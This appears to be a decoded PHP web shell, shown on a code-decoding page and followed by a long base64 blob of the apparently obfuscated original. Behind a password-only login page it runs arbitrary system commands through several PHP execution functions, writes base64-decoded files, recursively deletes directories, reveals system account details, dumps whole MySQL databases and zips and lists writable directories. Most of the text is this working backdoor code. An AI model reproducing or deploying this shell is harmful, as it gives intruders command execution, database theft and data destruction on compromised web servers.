#lien_box{margin:45px 0 0px 0;}
#lien_box a{color:#0fa5df;text-decoration:none;}
#lien_box a:hover{color:#0fa5df;text-decoration:underline;}
h1{color:#ddd;font-size:19px;margin:50px 0 15px 0;}
.saisie{margin-bottom:10px;}
.saisie input{background:none;border:none;color:#aaa;font-size:14px;width:220px;border:0px solid orange;margin:3px 0 0 0;height:29px;text-align:center;}
#bt_valid{background:url("https://www.firstheberg.com/membres/images/box_envoi.png") no-repeat;width:243px;height:36px;line-height:36px;font-size:14px;margin:30px auto 0 auto;border:none;color:#aaa;cursor:pointer;}
#retour{margin:40px 0 0 0;overflow:hidden;}
#logo{position:absolute; top:-95px; left:-10px;}
input{outline:none;}
</style>
<script type="text/javascript" src="https://www.firstheberg.com/membres/js/jquery-1.9.0.min.js"></script>
<script type="text/javascript" src="https://www.firstheberg.com/membres/js/jquery-ui-1.10.4.custom.min.js"></script>
<script type="text/javascript" src="https://www.firstheberg.com/membres/js/jquery.center.js" ></script>
<script type="text/javascript" src="https://www.firstheberg.com/membres/js/jquery.msg.js" ></script>
<script type="text/javascript" src="https://www.firstheberg.com/membres/js/main.js" ></script>
<script type="text/javascript" >
$(document).ready(function()
{
})
function block_sub_lost()
{
dataa=$('#form_lost').serialize();
//console.log(dataa);
$.ajax(
{
url:"ajax/identification_ajax.php",
type:"post",
dataType:"json",
data:"action=lost&"+dataa,
success:function(retour)
{
popup_msg(msg_ok(retour.msg),false);
}
});
return false;
}
function lost()
{
$('#inner').load("lost.php").show();
}
function logident()
{
$('#inner').hide().load("log.php").fadeIn("slow");
}
</script>
</head>
<body>
<div id="identification">
<img id='logo' src="http://zupimages.net/up/14/26/wgnw.png" />
<div id="inner">
<br> <h1><b>Login Page :</b></h1>
<form method="POST" action="">
<br><br> <span style="font:10pt tahoma;"></span>
<div class='saisie'><input name="password" type="password" size="20"></div>
<input type="hidden" name="doing" value="login">
<input type="submit" name="submit_form" id='bt_valid' value='> Submit <'>
</form>
</center><BR>
</div>
</div>
</body>
</html>
<?php
echo "".$err_mess."";
?>
<B><font color=red>
<a href=http://frenchdebrid.eu target=_blank></a><BR></b>
</div>
</fieldset>
</head>
</html>
<?php
exit;
}//end loginpage()
function execute($cfe) {
$res = '';
if ($cfe) {
if(function_exists('exec')) {
@exec($cfe,$res);
$res = join("\n",$res);
} elseif(function_exists('shell_exec')) {
$res = @shell_exec($cfe);
} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function which($pr) {
$path = execute("which $pr");
return ($path ? $path : $pr);
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,base64_decode($text));
@fclose($fp);
}
}
// Debug
function debuginfo() {
global $starttime;
$mtime = explode(' ', microtime());
$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
echo 'Processed in '.$totaltime.' second(s)';
}
// Function connect database
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
p('<h2>Can not connect to MySQL server</h2>');
exit;
}
if($link && $dbname) {
if (!@mysql_select_db($dbname, $link)) {
p('<h2>Database selected has error</h2>');
exit;
}
}
if($link && mysql_get_server_info() > '4.1') {
if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
}
}
return $link;
}
// Array strip
function s_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
$array[$k] = s_array($v);
}
} else if (is_string($array)) {
$array = stripslashes($array);
}
return $array;
}
// HTML Strip
function html_clean($content) {
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br />", $content);
$content = str_replace(" ", " ", $content);
$content = str_replace("\t", " ", $content);
return $content;
}
// Chmod
function getChmod($filepath){
return substr(base_convert(@fileperms($filepath),10,8),-4);
}
function getPerms($filepath) {
$mode = @fileperms($filepath);
if (($mode & 0xC000) === 0xC000) {$type = 's';}
elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
else {$type = '?';}
$owner['read'] = ($mode & 00400) ? 'r' : '-';
$owner['write'] = ($mode & 00200) ? 'w' : '-';
$owner['execute'] = ($mode & 00100) ? 'x' : '-';
$group['read'] = ($mode & 00040) ? 'r' : '-';
$group['write'] = ($mode & 00020) ? 'w' : '-';
$group['execute'] = ($mode & 00010) ? 'x' : '-';
$world['read'] = ($mode & 00004) ? 'r' : '-';
$world['write'] = ($mode & 00002) ? 'w' : '-';
$world['execute'] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}
function getUser($filepath) {
if (function_exists('posix_getpwuid')) {
$array = @posix_getpwuid(@fileowner($filepath));
if ($array && is_array($array)) {
return ' / <a href="#" title="User: '.$array['name'].'
Passwd: '.$array['passwd'].'
Uid: '.$array['uid'].'
gid: '.$array['gid'].'
Gecos: '.$array['gecos'].'
Dir: '.$array['dir'].'
Shell: '.$array['shell'].'">'.$array['name'].'</a>';
}
}
return '';
}
// Delete dir
function deltree($deldir) {
$mydir=@dir($deldir);
while($file=$mydir->read()) {
if((is_dir($deldir.'/'.$file)) && ($file!='.') && ($file!='..')) {
@chmod($deldir.'/'.$file,0777);
deltree($deldir.'/'.$file);
}
if (is_file($deldir.'/'.$file)) {
@chmod($deldir.'/'.$file,0777);
@unlink($deldir.'/'.$file);
}
}
$mydir->close();
@chmod($deldir,0777);
return @rmdir($deldir) ? 1 : 0;
}
// Background
function bg() {
global $bgc;
return ($bgc++%2==0) ? 'alt1' : 'alt2';
}
// Get path
function getPath($scriptpath, $nowpath) {
if ($nowpath == '.') {
$nowpath = $scriptpath;
}
$nowpath = str_replace('\\', '/', $nowpath);
$nowpath = str_replace('//', '/', $nowpath);
if (substr($nowpath, -1) != '/') {
$nowpath = $nowpath.'/';
}
return $nowpath;
}
// Get up path
function getUpPath($nowpath) {
$pathdb = explode('/', $nowpath);
$num = count($pathdb);
if ($num > 2) {
unset($pathdb[$num-1],$pathdb[$num-2]);
}
$uppath = implode('/', $pathdb).'/';
$uppath = str_replace('//', '/', $uppath);
return $uppath;
}
// Config
function getcfg($varname) {
$result = get_cfg_var($varname);
if ($result == 0) {
return 'No';
} elseif ($result == 1) {
return 'Yes';
} else {
return $result;
}
}
// Function name
function getfun($funName) {
return (false !== function_exists($funName)) ? 'Yes' : 'No';
}
function GetList($dir){
global $dirdata,$j,$nowpath;
!$j && $j=1;
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
$f=str_replace('//','/',$dir.'/'.$file);
if($file!='.' && $file!='..' && is_dir($f)){
if (is_writable($f)) {
$dirdata[$j]['filename']=str_replace($nowpath,'',$f);
$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
$dirdata[$j]['dirchmod']=getChmod($f);
$dirdata[$j]['dirperm']=getPerms($f);
$dirdata[$j]['dirlink']=ue($dir);
$dirdata[$j]['server_link']=$f;
$dirdata[$j]['client_link']=ue($f);
$j++;
}
GetList($f);
}
}
closedir($dh);
clearstatcache();
return $dirdata;
} else {
return array();
}
}
function qy($sql) {
//echo $sql.'<br>';
$res = $error = '';
if(!$res = @mysql_query($sql)) {
return 0;
} else if(is_resource($res)) {
return 1;
} else {
return 2;
}
return 0;
}
function q($sql) {
return @mysql_query($sql);
}
function fr($qy){
mysql_free_result($qy);
}
function sizecount($size) {
if($size > 1073741824) {
$size = round($size / 1073741824 * 100) / 100 . ' G';
} elseif($size > 1048576) {
$size = round($size / 1048576 * 100) / 100 . ' M';
} elseif($size > 1024) {
$size = round($size / 1024 * 100) / 100 . ' K';
} else {
$size = $size . ' B';
}
return $size;
}
// Zip
class PHPZip{
var $out='';
function PHPZip($dir) {
if (@function_exists('gzcompress')) {
$curdir = getcwd();
if (is_array($dir)) $filelist = $dir;
else{
$filelist=$this -> GetFileList($dir);//File list
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
}
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
else chdir($curdir);
if (count($filelist)>0){
foreach($filelist as $filename){
if (is_file($filename)){
$fd = fopen ($filename, 'r');
$content = @fread ($fd, filesize($filename));
fclose ($fd);
if (is_array($dir)) $filename = basename($filename);
$this -> addFile($content, $filename);
}
}
$this->out = $this -> file();
chdir($curdir);
}
return 1;
}
else return 0;
}
// Show file list
function GetFileList($dir){
static $a;
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while ($file = readdir($dh)) {
if($file!='.' && $file!='..'){
$f=$dir .'/'. $file;
if(is_dir($f)) $this->GetFileList($f);
$a[]=$f;
}
}
closedir($dh);
}
}
return $a;
}
var $datasec = array();
var $ctrl_dir = array();
var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
var $old_offset = 0;
function unix2DosTime($unixtime = 0) {
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
if ($timearray['year'] < 1980) {
$timearray['year'] = 1980;
$timearray['mon'] = 1;
$timearray['mday'] = 1;
$timearray['hours'] = 0;
$timearray['minutes'] = 0;
$timearray['seconds'] = 0;
} // end if
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
}
function addFile($data, $name, $time = 0) {
$name = str_replace('\\', '/', $name);
$dtime = dechex($this->unix2DosTime($time));
$hexdtime = '\x' . $dtime[6] . $dtime[7]
. '\x' . $dtime[4] . $dtime[5]
. '\x' . $dtime[2] . $dtime[3]
. '\x' . $dtime[0] . $dtime[1];
eval('$hexdtime = "' . $hexdtime . '";');
$fr = "\x50\x4b\x03\x04";
$fr .= "\x14\x00";
$fr .= "\x00\x00";
$fr .= "\x08\x00";
$fr .= $hexdtime;
$unc_len = strlen($data);
$crc = crc32($data);
$zdata = gzcompress($data);
$c_len = strlen($zdata);
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$fr .= pack('v', strlen($name));
$fr .= pack('v', 0);
$fr .= $name;
$fr .= $zdata;
$fr .= pack('V', $crc);
$fr .= pack('V', $c_len);
$fr .= pack('V', $unc_len);
$this -> datasec[] = $fr;
$new_offset = strlen(implode('', $this->datasec));
$cdrec = "\x50\x4b\x01\x02";
$cdrec .= "\x00\x00";
$cdrec .= "\x14\x00";
$cdrec .= "\x00\x00";
$cdrec .= "\x08\x00";
$cdrec .= $hexdtime;
$cdrec .= pack('V', $crc);
$cdrec .= pack('V', $c_len);
$cdrec .= pack('V', $unc_len);
$cdrec .= pack('v', strlen($name) );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('v', 0 );
$cdrec .= pack('V', 32 );
$cdrec .= pack('V', $this -> old_offset );
$this -> old_offset = $new_offset;
$cdrec .= $name;
$this -> ctrl_dir[] = $cdrec;
}
function file() {
$data = implode('', $this -> datasec);
$ctrldir = implode('', $this -> ctrl_dir);
return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00";
}
}
// Dump mysql
function sqldumptable($table, $fp=0) {
$tabledump = "DROP TABLE IF EXISTS $table;\n";
$tabledump .= "CREATE TABLE $table (\n";
$firstfield=1;
$fields = q("SHOW FIELDS FROM $table");
while ($field = mysql_fetch_array($fields)) {
if (!$firstfield) {
$tabledump .= ",\n";
} else {
$firstfield=0;
}
$tabledump .= " $field[Field] $field[Type]";
if (!empty($field["Default"])) {
$tabledump .= " DEFAULT '$field[Default]'";
}
if ($field['Null'] != "YES") {
$tabledump .= " NOT NULL";
}
if ($field['Extra'] != "") {
$tabledump .= " $field[Extra]";
}
}
fr($fields);
$keys = q("SHOW KEYS FROM $table");
while ($key = mysql_fetch_array($keys)) {
$kname=$key['Key_name'];
if ($kname != "PRIMARY" && $key['Non_unique'] == 0) {
$kname="UNIQUE|$kname";
}
if(!is_array($index[$kname])) {
$index[$kname] = array();
}
$index[$kname][] = $key['Column_name'];
}
fr($keys);
while(list($kname, $columns) = @each($index)) {
$tabledump .= ",\n";
$colnames=implode($columns,",");
if ($kname == "PRIMARY") {
$tabledump .= " PRIMARY KEY ($colnames)";
} else {
if (substr($kname,0,6) == "UNIQUE") {
$kname=substr($kname,7);
}
$tabledump .= " KEY $kname ($colnames)";
}
}
$tabledump .= "\n);\n\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
$rows = q("SELECT * FROM $table");
$numfields = mysql_num_fields($rows);
while ($row = mysql_fetch_array($rows)) {
$tabledump = "INSERT INTO $table VALUES(";
$fieldcounter=-1;
$firstfield=1;
while (++$fieldcounter<$numfields) {
if (!$firstfield) {
$tabledump.=", ";
} else {
$firstfield=0;
}
if (!isset($row[$fieldcounter])) {
$tabledump .= "NULL";
} else {
$tabledump .= "'".mysql_escape_string($row[$fieldcounter])."'";
}
}
$tabledump .= ");\n";
if ($fp) {
fwrite($fp,$tabledump);
} else {
echo $tabledump;
}
}
fr($rows);
if ($fp) {
fwrite($fp,"\n");
} else {
echo "\n";
}
}
function ue($str){
return urlencode($str);
}
function p($str){
echo $str."\n";
}
function tbhead() {
p('<table width="100%" border="0" cellpadding="4" cellspacing="0">');
}
function tbfoot(){
p('</table>');
}
function makehide($name,$value=''){
p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}
function makeinput($arg = array()){
$arg['size'] = $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
$arg['extra'] = $arg['extra'] ? $arg['extra'] : '';
!$arg['type'] && $arg['type'] = 'text';
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
$arg['class'] = $arg['class'] ? $arg['class'] : 'input';
if ($arg['newline']) {
p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
} else {
p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
}
}
function makeselect($arg = array()){
if ($arg['onchange']) {
$onchange = 'onchange="'.$arg['onchange'].'"';
}
$arg['title'] = $arg['title'] ? $arg['title'] : '';
if ($arg['newline']) p('<p>');
p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
if (is_array($arg['option'])) {
foreach ($arg['option'] as $key=>$value) {
if ($arg['selected']==$key) {
p("<option value=\"$key\" selected>$value</option>");
} else {
p("<option value=\"$key\">$value</option>");
}
}
}
p("</select>");
if ($arg['newline']) p('</p>');
}
function formhead($arg = array()) {
!$arg['method'] && $arg['method'] = 'post';
!$arg['action'] && $arg['action'] = $self;
$arg['target'] = $arg['target'] ? "target=\"$arg[target]\"" : '';
!$arg['name'] && $arg['name'] = 'form1';
p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
if ($arg['title']) {
p('<h2>'.$arg['title'].' »</h2>');
}
}
function maketext($arg = array()){
!$arg['cols'] && $arg['cols'] = 100;
!$arg['rows'] && $arg['rows'] = 25;
$arg['title'] = $arg['title'] ? $arg['title'].'<br />' : '';
p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}
function formfooter($name = ''){
!$name && $name = 'submit';
p('<p><input class="bt" name="'.$name.'" id=\"'.$name.'\" type="submit" value="Submit"></p>');
p('</form>');
}
function formfoot(){
p('</form>');
}
// Exit
function pr($a) {
echo '<pre>';
print_r($a);
echo '</pre>';
}
Did this file decode correctly?
Original Code
$text = "7b1se9u20jj695vnyWpAS59FYXF6trPYlhLb9ZI08Zq4aHlfvaJXRV5XVpTES1fz3e/MYCHAUpKTtOdqF53TmAQxgwEwGAwGg040YIWF3ihjvdB09TqzO/7ghb3Ivjx+xOA3CoN+6BasntPyw5a/tGrXDteYH9765ZE/Ga8zAU0HsKUX1uL641RfTDj2wiiJtxsNSr8BL4JaUDvs3n8DSYCahmcc+ESr+g1rI89MbfFv9eVFjaN//OjxowUvHA9LnS00akJp3pzsXNjbH7fh+fzUvm+vspPXtOTdo52z7b3m5sGnE/sKkC740ST0/GDSBqT4XMCi+P/Kv9SzfuzcGVMtlvntl/LjVNQATs+PHMzErLEzZzq+perv9RznPgoL9mg3dQeedBeZDf8tvWu2RamwX9jys0ikAbO2C/bGJPQDNvL99kX4dCe6rlthOGNQYnEx0YBoq7K+v2Zet1jUOCXbd9g6gq7Tv3DdoGo/Z51Bq7/UZsaOu8Z+TabfbZw5vI182c5LDahSfxK1LuzeKOzd20qqBkfDvhO1hryDsT3i/kg5BDTV8QpmLuDjjeP2jbw5ehJ0lt3U9FPhawz9cUylfuCHBatfnpTfsSX2ZC1N86zFknJu3qjdZ8OJ44c6n0s7J5+29kGaB8fHOxb1/MBoJhxyz+lwXtsuDVB/5Gt+964VACt1eVB/BdssluzXUMcZjsNFz5nYUZ7TDCdOhMTZ/bDn3rX918PJeqnj0XQvZ69QtyllSxfsmOduSlHwOHfd91z88hEKdEs2MK1Iisv/uLe33fy4tbt0X5UsrDDmO9umXGbSeV22Llt5l5oQCwRL5Kq1ZUwvyACC9tQ+7Zz8un+yu9fc3zkjKhigcNvQVpxJo7exNKSvAzXH8RdqCaTvUkc/rUKpFbhcwEk4hZ6B73MHXbqXrZ2wPb5b8p3UVFHwGpu3oLoCOFV4aWvjrQwPvCDJ9fI350ur5Y41HUTemKvQYr3x+NHG4UGD/utU1ywYVMNJvQcFhGFwcAByMYKoaseAgw2CXkv3g5EzCZgX/RXWlxvnQdDH8bfEtsdu4IXsehD5rEcqEc4yIFoTJsa3fKVkQekgtfmTGJULoQutFk/PAjti+E5qHLKbqO+P6tVX5T+NDR+I9PusO+RR/kc5wf92TEDGVMORX6+tzKifG/bTtas1NrrYTI16IQFL1Oo5rhv2fEmU9fXdOxYMAxDEQjbKPDuvOm8XLbBE9vv4j4v/YC0aOBrD3siJqyga5OtKWrQ1j7a2/jg7uUPS6Cot3NJs2BMQN8YoVYk5kpTtYMh0Ga0j6A9ohA6Szv5IiedinJxgnE7NJ96Q5N06F/TGfHK3VO2oNWN5UNyf7TZuUz3bPN0yKiXyxvSl6qAVpzKzTqfFyxsFHng5raVp6EEiz4ugj3mjqomppu/ctAYRcW8//wwCcRTii07ok9eY1ARe93yvoLIs5tC0NwoZc2BqQYfdBMCYx0PEGFMX521BH24D7rXzq4lVsGmAtB34I6qoKl3reaH92FRP+/FW+wna7WTUC7BayrdYIF0kugsb9KKw5cEH4Kcpa44jr+1rEW8AZ74f9FMTVV+n2uHMQzewaW4MbupnpOdueOiP1phdT1UcnE2Ld2OvXQDE1MwqeGUns0ZEQWnakzvvzzH165MFL7iGTmH0er8LIrgFYF2c7ECK97s4udADjjZtwBrBg0Mg+TfH9SUxC1yU1UzgusFdZjCO2gWepmWAtO+MTmJyfxas3Y9bYhl99iyZgUtZ5E0kRD+qNewSEd8EtmXcAqgHG3JZSFVyFwBN2e6F7LndYX662/31vIRaIcF0ZlmnaN8Crs2FmJs38ExEWmgCPSuQogJGYlM4S0DB70BdYuALr/kg9HujJjV4TrZBV3PCAA990eAXAsNS5ep3MSUntbJYaIaPnVab4AoxXJYI5X84Wr2x48WSM0lhy3L2CTNjFZfYsF63bInUiro0EVmVJz7EcQRFuuMznjVfU/wIFkmEGUWOEz9BWLofIu2yeJMaLqAQ4QyN2JokC3mdLmBBK6mQQPursZTAjD/AbLyztc32Dg7PQtjZKTv57XlqYpf5k2kzdQ3DZBqjADvaOTnYOxGAKjsrCC2OnWJ6fjg83zpxm1t7eWb//DyDOPyVy7J9GIzKzKLOtw6O2fHB3gEgPTo4dDBSnk6htkgK+n1iHICKmuigknJQrr2tFGyndCfnx7t573Hn09km0H/MDt8xu8m/Nr/EWNWvzdAZNJs2O9k9OtgW+XlpfrZs8hDw7Dp09al5N0e6cILzTV/rtPy8X5OcUdLkaL44VvEOCW/nJsXvhC7mbNSUOdMPYB0A+nNPTSfpynFnwpk5xes9m9EcP3e6z8P3UKb9BGXroNcL2/HsYpU83wV5hQUha7NguUnNM3F9Ntce1NJM4pu020oNdoLZQIsQrpaQNPybTaHJhkArkrZZyzWqIRI/8m4t0GCf3MPzgz9BNsWqa7lHKz2DlQJ9hXmefwdcgz0m8PU8D+FkZEr0+19jpbHGqhVLx+/R8nKdL/NglRdHe8vrsCgJl/hXCLI9eN+uRu0C9lIuB6vHJy+PK+uIfKkfwhqHS28NcjDmDdZTDixgv8SrVMKbzA4LzNDFwhCmFIz9KgPqurBjCl1LLLfXqu1b5jnjqK9DiI9dx/duqZ3xXS1d18TqYb0N8gymyrVIyAxovnKr/D9Mde2HFjprif+bXujA6Wi8B5ZN+e6qDpzOgxv4x5T6UAutSPB/0wvFTvdQe2hJoTiilmH4iOk6476ioulaAhih/y1NTY4L5fMkXAWtvXX7bQsxrx20vnFAQJ4BPH2ZBC4sy9fi4ir4dkfL+iAkU3oFiNBSCCXEJEfxSAic1cN0L56dIsrOuFFG1DiKRItZKysrdnz6M4J/VgoXRQgliufPn68PQB3y18bhwF/vw+QzDu7WunCnar9B5p+16io04jove8kl5NisiJy05CJM+gNLMBZMtwP91G38VVm2ZN3Yy7acLaTs6/Vt6022TjCJxmp4DMRwP3UBLi91bFigWlQDkS3D+ia6XHznvIIVAemcbxUjE2XbrDyukPPTZgnWzMwGWsT1rawWbKFNUXQzJvjsH3krmrNXNBdJ2ReNIpjR/K98NpTqkoYnmgRQyGdXP45TzJtSfyTzy8L0XBtyKosm4J4bweSqzcCfg+uAp+JRrMxVVLhOZDAeF2OwKYUQXgrXgcuibXI92sBCJXVeR4+80phnm/Xo6UZQf8TsuFk3Ml9RulODinRLouX8E0Mve6N7kFn2onPuKNF+CXWaAg/PIkYNWIiqwU8himpS3NDvuC3Wh/kNCUAL/wmn5fDurI8511roocPtagX4I0pFCwVbJtuLJf5Dug7GnbAOL+tMmbxBahL5hVLVEdTS2BNyqX9WG2E0GTLP7dUtsYfwSqdaPe6VTaFf7rTL1ZVl7Uxs1Lvvl9qtodXYKAMI/CsQCPWOmMd2oY5et6IWFmEx6v+6peQXLfyXQNDAHLg2iGGhDRmahZe6IFLu1+jfJXVuWEykudl8yp6XKB5603xg1q2KKksp1LIsEnkMDdvrWepmNZwj2F9YEShft/BknZGQS66gsHBcqkfWLRZOxcbcS2IJO7jF28ACYTPeG3a1TBjfJY1IWBjZrSoKSNBqTmKFuaeHNgysAb6LmVGvkRA+0ArjoO3BsJRClkDNm80CTLQMNciihEbj5nzhX/s5FUd9nobBHlVP9WDV7NUtLmXiOnHspmPFCdc6AAjrn2R7FBQceQ//rv68srjOxMsaKz2PO5ImpCk9mdtc65beFcmme/Yst+nkaVq6AXWjIp3q9/P6oJzZCWWDA8cqb4QcG3f4kksb9+sFJURgtPBSHH52bCto9QWGTOjSrgj/9KyeI4Z+/vmJjkFPUaGGWaSTzIRFpJAEReLya8tgNk1r86zPsrImxKAaSYt8aTJDABlMKEMOC7AYKN6O4BIIkkOGUwOi+cu4X7qOvKgbjZGrrETU74ctCxUag+K//8YyobSSQ4vqFqpBuDNW61tdnOpbdxbKFVgXUMlOnBjkovduMMqREnjIOvvha9T35OIBR7fMfBkbfEyoNYQvYDWbHLYm/o22zqVWhpXre5WOsz3o0GWwZiWTR6poi6T1xqv2qM2tDLRYjhPwlD1leP0VjKq/2VPAU2E4Q/NHvGJiMdBPgaXqSROmi9Y9kJzIO2PDSWLUD7th1C8N3EXPzYCJyfJ8t+mG0PO9sGCX7KIN/8+yMNiLQNtTOXWwNzDSkO13leoKJXX0xprOmprdeu5XgqZHcBdIqJCNZnTItjq+2gMNVRxguzaMxnNRtXPQ7mjcZBO3/9h4ORaketmmYtecRXBYmZu+8sCEDd52tUChWsBs0+C8XLj2MA8IvnFPwCImD8TpUtiavFdvRrhDS/CCTticOP1j8UjB2hUveHmjeDT40A3DSXB4RrVnt8GWmLW4NgXGDfuNrdPTJMii3JG2tj9hM9HOBHmVXlAviZTCb8mSMPrWGk729mrOZCwUCrInkfr5dp6fRbNc2qvitKIDxwP5AWpfJAgqrRznHCSvKyMtWMNxE7+OIksQvXgS/TBzJKI9VvT8JH9SgjPy55CrqN0GRAc4DZLnHgdVLHL+NyjdZYPeOIypnGrsIZE875xHPoRRZwnRddQz34wiP3ns009hKRAwOIpewzIIcWwBVF+zUJu1i8VXsU2r4Bjsuke9PHy75GWUgXpOa0ntYZ3uvT3YOUQYoRXTdaK+jgJznMldJ+qjECjw9yZhg8LE28QdUVlfBDwdXHmY2Ux+/qGWezgDuay2HP+vlMqaQ0gNYhvtm6a2d9oF2qrnSkymdQgXvN3Z2fYa0zWFJGrM7y0n2p/0iCX2zunMg1xqlkbehqiOddiumJqSaI11+sQvakMbp7iR9Sl1wUXb5SrDUNCA3CIHJU9S0vu7YymqOKr9Nu2U/hxZ2ut3cPkbEKOqUXVCYcNexw/ZkTOZBK1iQAV9FbauCRfOrmICN0/GfDiiEEmynCRrYIjrCGcErm4ZS4g9dWLyebf59nlmkX1sNVuv67pDWsJ/iEJRH1T19dWPKSH0e+2bPhVEhucyOdf28yrwo1fF8RtCVUM7NMsc8YQpcrO/FdpKIKQGwX24hEGcReslj06L77lM3HTQqkxZrsT5rpoFWqgLjFnDNgwoQM4QuRiVmvJZE1VXhHYr7Qcs46qr6Wic8KN5iMUN3yrABUqB73zbtEZbYnUmOpwwJ0AxLE9ukSFG1znowGS48UHufv/8M5sUxAuml8vsOGXVZffxoycLfWtUSjr8W3SweU7wlmaDG9yQANJlG54KuwfNna2tvSJy5LM2K8iZDZKKeam6VfbQZew3KJDinxKkZqviTyfkyZ2wIJFkZ0KkE+LffzPdH5FYGVHK0U8tNp3W0o0LEyVpQFxLRqWh2hFs9M69hlGVFtkrc78VqTZbcLZRFQjXUEjGZDgOTvYA2tgdVfdRDMfwKdsPRHM3nWcyXRHxN0TfVzaWB4PDZO9L3wnRHcd0hMBL2HE7KVkK9mQMzcm3WAVr8k6LigmANojd0HEiFO1obb3Q86hMuK+Eeij98S69d6QjNwyglElrEzeUOgQCqZCYaZ+a3FAy+hbLXil2TBOWadPNiQCzGkOrOLqUBnBnVbzjLYfVa0vb9ahJ6ClFa1pyyqKLlefPnxMPzXcr/L3ujWAhdcJBYkExg2+lE3rZajrtFI8B0aQPZzgYkttm2mqg1aAP0u6FzT/QALq6sNEZhzt/FBf4FzEyWDkAwkZxSX31Gpz0Iz+Lfhj0vmWDxDGDL8Jbw+SOTpvWDEEbHUFnsKJ9cGck1H43uBYOekv3AQ3/AmAomujn6K/XA+4uCMBM1frk9KPBXaJB1CFHGWBf9GCeIQDabMOf/PIc0HKjFnUXhPXBg1/SIHxZZB0ICrFfkOnFF8V3JcmhQzSvGS808H036oIC4mRe4uxYcRfjOs7RmhmsvVB9mHVOdNxKDAH4lQuqwRAt4Tp4VQuZaJq4dWRcMJ2Y/SBXzRTEBAOyMFCKQA99YidaCrHglUdAbi4l4QCOP2bioRdcM39ESQu64ZskttPuJG3BRn3gO5nzmDmNiTypc/XyGpXYG2cY0Xf/fNMKEqFyThxToS4ZPd6GshLGWeh8x1FVZRid3BJ6Cyt2JSX8wM1JE8wjCwKEt2PiNIPA8N93cfIhJfEM4BM6Lql1mi5NQM1gsOb32QQTcp/4Qac3RTUuEm3+77eKmXCYuKdnwV0YY31qAmbDiHi+wR39HeESnz5SLVxn4qOHZlV/3g7L6JWYu3EmR/G+tdlO2/Ydd2iLd7LEq7FRaKAKrAnq1wTpKbfb/0m3CHiA3jXJZj1h4HMcIu2P0w7tpKBraNtBRw4WTm7QGxEUgwFATQBfyTTYAvk+cXsLZoSlugLA7Zt8akidCLUIotdvpSh9cmzCIqyL1pOQ421rC4oWLuGKaUTmWXP7K3fXRLHe/rj9Hg+q9MepLGv0sY4ZlxpBJ+lfO9v12On5ob8EBIfBJGhNQ4ILdOAdZ+P21kv3DtSDTJnjZlCyNZDSlII8rzOz7sucZnnmlDoQcUR2+Er64CP5JiMJyQ+JE5FsWANkzFBrw9PhBmLRnsXzfAWWR4YTi1Xq++/k+wUckaghDfgB48oPGhdVyOtBCw9KFhRZTcwZcTx9up7+mu9HQmNVaTbc1CGIeDZ3476c83U10Iq8RNh/9Qo6HTRt4MGe03b51KLx3M7wBC88Two1Gm3Jw9+5F